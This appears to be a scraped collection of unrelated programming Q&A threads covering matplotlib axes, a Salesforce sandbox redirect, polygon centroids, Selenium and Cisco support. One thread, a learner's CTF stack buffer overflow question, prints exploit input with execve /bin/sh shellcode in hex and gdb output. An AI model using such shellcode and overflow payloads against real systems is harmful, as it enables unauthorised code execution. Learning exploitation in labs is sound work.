fig.add_subaxes(histo1, 212)
fig2 = pyplot.figure()
# make a figure with the first plot only
fig2.add_subaxes(histo1, 111)

Is this possible in matplotlib and if so, how can I do this?
Update: I have not managed to decouple creation of Axes and Figures, but following examples in the answers below, can easily re-use previously created axes in new or olf Figure instances. This can be illustrated with a simple function:
def plot_axes(ax, fig=None, geometry=(1,1,1)):
    if fig is None:
        fig = plt.figure()
    if ax.get_geometry() != geometry :
        ax.change_geometry(*geometry)
    ax = fig.axes.append(ax)
    return fig

A: Typically, you just pass the axes instance to a function.
For example:
import matplotlib.pyplot as plt
import numpy as np

def main():
    x = np.linspace(0, 6 * np.pi, 100)

    fig1, (ax1, ax2) = plt.subplots(nrows=2)
    plot(x, np.sin(x), ax1)
    plot(x, np.random.random(100), ax2)

    fig2 = plt.figure()
    plot(x, np.cos(x))

    plt.show()

def plot(x, y, ax=None):
    if ax is None:
        ax = plt.gca()
    line, = ax.plot(x, y, 'go')
    ax.set_ylabel('Yabba dabba do!')
    return line

if __name__ == '__main__':
    main()

To respond to your question, you could always do something like this:
def subplot(data, fig=None, index=111):
    if fig is None:
        fig = plt.figure()
    ax = fig.add_subplot(index)
    ax.plot(data)

Also, you can simply add an axes instance to another figure:
import matplotlib.pyplot as plt

fig1, ax = plt.subplots()
ax.plot(range(10))

fig2 = plt.figure()
fig2.axes.append(ax)

plt.show()

Resizing it to match other subplot "shapes" is also possible, but it's going to quickly become more trouble than it's worth.  The approach of just passing around a figure or axes instance (or list of instances) is much simpler for complex cases, in my experience...

A: For line plots, you can deal with the Line2D objects themselves:
fig1 = pylab.figure()
ax1 = fig1.add_subplot(111)
lines = ax1.plot(scipy.randn(10))

fig2 = pylab.figure()
ax2 = fig2.add_subplot(111)
ax2.add_line(lines[0])

A: The following shows how to "move" an axes from one figure to another. This is the intended functionality of @JoeKington's last example, which in newer matplotlib versions is not working anymore, because axes cannot live in several figures at once.
You would first need to remove the axes from the first figure, then append it to the next figure and give it some position to live in.
import matplotlib.pyplot as plt

fig1, ax = plt.subplots()
ax.plot(range(10))
ax.remove()

fig2 = plt.figure()
ax.figure=fig2
fig2.axes.append(ax)
fig2.add_axes(ax)

dummy = fig2.add_subplot(111)
ax.set_position(dummy.get_position())
dummy.remove()
plt.close(fig1)

plt.show()

A: TL;DR based partly on Joe nice answer.
Opt.1: fig.add_subplot()
def fcn_return_plot():
    return plt.plot(np.random.random((10,)))
n = 4
fig = plt.figure(figsize=(n*3,2))
#fig, ax = plt.subplots(1, n,  sharey=True, figsize=(n*3,2)) # also works
for index in list(range(n)):
    fig.add_subplot(1, n, index + 1)
    fcn_return_plot()
    plt.title(f"plot: {index}", fontsize=20)

Opt.2: pass ax[index] to a function that returns ax[index].plot()
def fcn_return_plot_input_ax(ax=None):
    if ax is None:
        ax = plt.gca()
    return ax.plot(np.random.random((10,)))
n = 4
fig, ax = plt.subplots(1, n,  sharey=True, figsize=(n*3,2))
for index in list(range(n)):
    fcn_return_plot_input_ax(ax[index])
    ax[index].set_title(f"plot: {index}", fontsize=20)

Outputs respect.

Note: Opt.1 plt.title() changed in opt.2 to ax[index].set_title(). Find more Matplotlib Gotchas in Van der Plas book.

A: To go deeper in the rabbit hole. Extending my previous answer, one could return a whole ax, and not ax.plot() only. E.g.
If dataframe had 100 tests of 20 types (here id):
dfA = pd.DataFrame(np.random.random((100,3)), columns = ['y1', 'y2', 'y3'])
dfB = pd.DataFrame(np.repeat(list(range(20)),5), columns = ['id'])
dfC = dfA.join(dfB)

And the plot function (this is the key of this whole answer):
def plot_feature_each_id(df, feature, id_range=[], ax=None, legend_bool=False):
    feature = df[feature]
    if not len(id_range): id_range=set(df['id'])
    legend_arr = []
    for k in id_range:
        pass
        mask = (df['id'] == k)
        ax.plot(feature[mask])
        legend_arr.append(f"id: {k}")
    if legend_bool: ax.legend(legend_arr)
    return ax

We can achieve:
feature_arr = dfC.drop('id',1).columns
id_range= np.random.randint(len(set(dfC.id)), size=(10,))
n = len(feature_arr)
fig, ax = plt.subplots(1, n,  figsize=(n*6,4));
for i,k in enumerate(feature_arr):
    plot_feature_each_id(dfC, k, np.sort(id_range), ax[i], legend_bool=(i+1==n))
    ax[i].set_title(k, fontsize=20)
    ax[i].set_xlabel("test nr. (id)", fontsize=20)


text:
Q: Returning PageReferences from Init - Not working in sandbox So either I'm going nuts, or I'm overlooking something obvious, or I'm just encountering some very weird behaviour.
The Setup
I have a page which calls an Init action in the controller from the page tag
<apex:page controller="myController" action="{!Init}">

The Init() method returns a PageReference.
I'm using some of Michaelforce's code to detect whether or not I'm in a sandbox environment, and if so I return a page reference to redirect the user. If not, I just return null so that the page loads as normal.
public PageReference Init()
{
    if(WhereAmI.IsSandbox())
    {
        PageReference pr = Page.PackPrefix__OtherPage;
        return pr.setRedirect(true);
    }

    return null;
}

The Problem
This code works in my development environment, i.e. it doesn't redirect. If i change my if statement for testing to if(!WhereAmI.IsSandbox()) then it correctly redirects also.
Once I package the code up and install the package (managed) in a sandbox, it does not redirect. I made the WhereAmI class and its methods global so that I could test them in Execute it's functioning perfectly, returning true and yet I don't get redirected.
The page does have a different content type to normal but I don't think that's the issue given that it works in production. So the quesiton: have I missed something that's right under my nose, or does this smell like a bug?

A: URL.getSalesforceBaseUrl is execution context sensitive. The code you've linked to uses URL.getSalesforceBaseUrl(). This actually returns a different Salesforce base URL dependent on the context you run it from.
Possible Issue. While you've tested the function itself from a Sandbox environment and it returns true. I am wondering if that is from Developer Console / Execute Anonymous? Call this method from these contexts will typically return what you expect. As in what you typically see in your browser URL when your looking at a native page, e.g.

https://na7.salesforce.com

However when called from a VF controller execution context the URL returned is the VF URL including your namespace. I don't have a sandbox with a managed package containing this code to hand to test this theory, but I think the problem lies in how its parsing the host name part of the URL.

String server = host.substring(0,host.indexOf('.'));

So a base URL like this would return your namesapce prefix as the server.

https://namespace.na7.visual.force.com/apex/myVFPage

Summary: So I think the issue is that the isSandbox method is not considering the type of host name returned in a VF context. Note that in an unmanaged environment the host name part of the URL will be c.na7.visual.force.com. So you really just need to check for 'visual.force' in the URL, then skip the second part of the server name. If your not in a VF context, the existing code will work.
Working Code:
String server = host.contains('visual.force.com') ? host.split('\\.')[1] : host.split('\\.')[0];

A: As you mention, the redirect works if you reverse the logic on if(WhereAmI.IsSandbox()).
This makes me think that your IsSandbox() method isn't working as expected in this particular case.
What does URL.getSalesforceBaseUrl() return for the page in the sandbox. It might have some odd domain that is causing the method to return false.
It might be that you can't rely on the URL in your case or need to extend the logic to handle the particular URL in this context.

As a related aside, I did propose an alternative solution in Can we determine if the Salesforce instance is production org or a Sandbox org?. It uses the Pod Id from the Org ID. Perhaps not as robust as the URL, but I'm determined to find a problem that knowing the Pod Id solves.

A: The only thing I can think of here is that you can't do a redirect from your controller.
It's hard to say if this is the problem without seeing your controller, but your page should look like:
<apex:page action="{!Init)">

Whereas your comment that

I have a page which calls an Init action in the controller.

Suggests that your controller looks like:
public myController () {
    Init();
}

...which won't work


text:
Q: C Simple Buffer Overflow I'm trying to learn how buffer overflows work and how this can be used.
I'm solving a simple challenge (backdoorlabs echo challenge) by trying to exploit a supplied binary file.
(see: http://hack.bckdr.in/ECHO/echo)
I think I'm doing everything right (accoring to the guides and tutorials I have been reading) but still it is not working and driving me crazy for hours now already.
The bufferoverflow lets me over write the next instruction (eip).
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

So I'm able to overwrite the next eip, now lets add some 21 bytes shell code which spawns a shell and try to find the address where it is.
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750:     0xe1f7c931      0x2f2f6851      0x2f686873      0x896e6962
0xbffff760:     0xcd0bb0e3      0xbfff0080      0xbffff80c      0xb7fff3d0
0xbffff770:     0x08048480      0xffffffff      0x0012efc4      0x080482d8
0xbffff780:     0x00000001      0xbffff7c0      0x0011eb25      0x0012fab0

Bingo the shellcode is right here loaded at 0xbffff750, so that is the adress we want to adress the eip to..
Until now everything looks right to me so I try it with the right values found.
(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)

(gdb) x/i $eip
=> 0xbffff750:  xor    %ecx,%ecx
(gdb)

The eip got changed to the right adress and the shellcode is in place however when i try it in my shell it does not work and still segfaults as you can see.
[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀
Segmentation fault
[rick@TESTBOX tmp]$

Anyone here has some thoughts about this, sees an error or has any other ideas ?
As mentioned I'm a newbie trying to understand the basic principles and obviously I'm doing something wrong.

A: I think your problem is:

there is a difference between the real execution of a program and the gdb-controlled one.

You need to

*

*predict this difference. And this question gives an example how to do it.

OR

*I alse faced your problem months before. At that time, I observed this difference. But I did not use this way to find the difference, instead, I used the brute force way exampled in The Art of Exploitation 0x331: try different offsets with a shell script.

This question might help you in the future, which tells you how to turn off some security functions to allow you to attack.


text:
Q: Find centroid of polygon area I have these sets of points:
{X = 3.142888 Y = 101.633827}
{X = 3.142325 Y = 101.633827}
{X = 3.142023 Y = 101.633759}
{X = 3.141899 Y = 101.633652}
{X = 3.141045 Y = 101.633659}
{X = 3.141433 Y = 101.634193}
{X = 3.141291 Y = 101.6343}
{X = 3.141381 Y = 101.634415}
{X = 3.141194 Y = 101.634895}
{X = 3.141618 Y = 101.6349}
{X = 3.142697 Y = 101.634239}

I tried using the method by http://csharphelper.com/blog/2014/07/find-the-centroid-of-a-polygon-in-c/
public PointF FindCentroid()
{
    // Add the first point at the end of the array.
    int num_points = Points.Length;
    PointF[] pts = new PointF[num_points + 1];
    Points.CopyTo(pts, 0);
    pts[num_points] = Points[0];

    // Find the centroid.
    float X = 0;
    float Y = 0;
    float second_factor;
    for (int i = 0; i < num_points; i++)
    {
        second_factor =
            pts[i].X * pts[i + 1].Y -
            pts[i + 1].X * pts[i].Y;
        X += (pts[i].X + pts[i + 1].X) * second_factor;
        Y += (pts[i].Y + pts[i + 1].Y) * second_factor;
    }

    // Divide by 6 times the polygon's area.
    float polygon_area = PolygonArea();
    X /= (6 * polygon_area);
    Y /= (6 * polygon_area);

    // If the values are negative, the polygon is
    // oriented counterclockwise so reverse the signs.
    if (X < 0)
    {
        X = -X;
        Y = -Y;
    }

    return new PointF(X, Y);
}

But the result is way off :
{X = 3.11197066 Y = 100.614342}

Is there anything I missed here?
Thank you


text:
Q: Issues with Python Selenium WebElements and .text I'm writing a text in Selenium that gets the left-most column of a table and verifies that the strings in their cells match a list of dates I have.  The code I have looks something like this:
dates = ["20130501", "20130502", "20130506", "20130507", "20130508", "20130509", "20130510", "20130513", "20130514", "20130515"]
mytable = self.driver.find_element(By.ID, "mytable")
datecells = mytable.find_elements(By.CSS_SELECTOR, "tbody td:first-child")
for date, cell in zip(dates, datecells):
    print "'{0}', '{1}'".format(date, cell.text) # For debugging
    #self.assertEqual(date, cell.text)

When the assert is left commented out, I get this printed out as a result:

'20130501', ''
"20130502', ''
'20130506', ''
'20130507', ''
'20130508', ''
'20130509', ''
'20130510', ''
'20130513', ''
'20130514', ''
'20130515', ''

The weird thing is, if I put a breakpoint on the print (Using MyEclipse with PyDev), and look at cell in the variables tab of PyDev Debug before it's output, I can see the proper text, and the code outputs as expected:

'20130501', '20130501'
'20130502', '20130502'
'20130506', '20130506'
'20130507', '20130507'
'20130508', '20130508'
'20130509', '20130509'
'20130510', '20130510'
'20130513', '20130513'
'20130514', '20130514'
'20130515', '20130515'

Is there some weird observer effect quirk of WebElement .text properties where it can only be properly evaluated by this debugger, or is there some condition I should be waiting for in order to get the proper values from the cells without having to step through?

A: After testing a little bit with PhantomJS's WebDriver, I was able to figure out this was an issue with Firefox's WebDriver specifically, and found this previously asked question: WebElement getText() is an empty string in Firefox if element is not physically visible on the screen
So after changing the for loop to
for date, cell in zip(dates, datecells):
    self.driver.execute_script("arguments[0].scrollIntoView(true);", cell)
    print "'{0}', '{1}'".format(date, cell.text)
    self.assertEqual(date, cell.text)

in order to scroll each cell into view before getting its text, I got the expected output.


text:
Q: Do Cisco "Small Business" products come with support, or do you need to pay for a Cisco service contract? I recently bought a Cisco RV110W Small Business wireless vpn firewall and I want to open a support case with the Cisco TAC.  I assumed small business products came with a support period but I can't determine how to open a support case without a contract.

A: Define "support."  "TAC" is not included, but they mention something about small business phone support, which presumably would not require a support contract.

Q. How will the Cisco Small Business Support Center help me?
A. Technical support by telephone for Cisco Small Business products will be provided for the first 12 months following the date of purchase by the original end-user purchaser (for most Cisco Small Business products purchased before September 22, 2010 and for all Cisco Small Business products purchased after September 22, 2010). One of our professional technicians will work to resolve your issue and help get your Cisco Small Business product up and running.
During the product warranty period, the Cisco technician will determine whether the difficulty is the result of the Cisco Small Business product and whether your product contains a defect. If the resolution to your problem requires a hardware replacement, the Cisco technician will create a return materials authorization (RMA) for the warranty return process. This number will enable you to return your merchandise to Cisco for a replacement product.

Does kinda sound like they might tell you to RMA the device, or it's not a hardware defect, so purchase support or piss off.  Do feel free to give them a call and find out... I'd be curious to know just what they consider small business support, myself.